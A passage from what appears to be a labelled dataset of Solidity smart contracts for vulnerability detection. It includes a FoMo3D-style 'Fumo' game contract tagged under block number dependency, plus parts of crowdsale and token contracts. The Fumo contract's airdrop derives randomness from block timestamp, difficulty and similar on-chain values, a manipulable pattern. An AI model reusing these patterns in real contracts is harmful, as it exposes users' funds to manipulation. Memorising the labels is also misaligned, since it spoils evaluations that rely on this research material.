else { vault.enableRefunds(); } super.finalization(); } function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } } contract gsCrowdsale is CappedCrowdsale, RefundableCrowdsale { constructor( uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, uint256 _cap, ERC20 _token, uint256 _goal ) public Crowdsale(_rate, _wallet, _token) CappedCrowdsale(_cap) TimedCrowdsale(_openingTime, _closingTime) RefundableCrowdsale(_goal) { require(_goal <= _cap); } }",./Dataset/timestamp dependency (TP)/,6,6 3090.sol,"pragma solidity ^0.4.24; contract FumoEvents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is FumoEvents {} contract Fumo is modularShort { using SafeMath for *; using NameFilter for string; using FumoKeysCalcLong for uint256; address community_addr = 0x3705B81d42199138E53FB0Ad57613ce309576077; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xd085AcFC0FDaA418E03E8570EF9A4E25a0E14eCf); string constant public name = ""Fumo token""; string constant public symbol = ""FuMo""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 0; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 1 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => Fumodatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => Fumodatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => Fumodatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => Fumodatasets.TeamFee) public fees_; mapping (uint256 => Fumodatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = Fumodatasets.TeamFee(30,0); fees_[1] = Fumodatasets.TeamFee(43,0); fees_[2] = Fumodatasets.TeamFee(56,0); fees_[3] = Fumodatasets.TeamFee(43,8); potSplit_[0] = Fumodatasets.PotSplit(15,0); potSplit_[1] = Fumodatasets.PotSplit(20,0); potSplit_[2] = Fumodatasets.PotSplit(25,0); potSplit_[3] = Fumodatasets.PotSplit(30,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. ""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { Fumodatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { Fumodatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { Fumodatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { Fumodatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Fumodatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Fumodatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Fumodatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { Fumodatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit FumoEvents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit FumoEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit FumoEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit FumoEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit FumoEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Fumodatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit FumoEvents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Fumodatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit FumoEvents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Fumodatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(Fumodatasets.EventReturns memory _eventData_) private returns (Fumodatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, Fumodatasets.EventReturns memory _eventData_) private returns (Fumodatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(Fumodatasets.EventReturns memory _eventData_) private returns (Fumodatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot.mul(6) / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); community_addr.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Fumodatasets.EventReturns memory _eventData_) private returns(Fumodatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _aff = _eth / 5; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit FumoEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } community_addr.transfer(_com); return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Fumodatasets.EventReturns memory _eventData_) private returns(Fumodatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 50); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(24)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Fumodatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit FumoEvents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == community_addr, ""only community can activate"" ); require(activated_ == false, ""fumo already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library Fumodatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library FumoKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 647.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function ADZbuzzCommunityToken() public { symbol = ""ACT238528""; name = ""ADZbuzz Arch2o.com Community 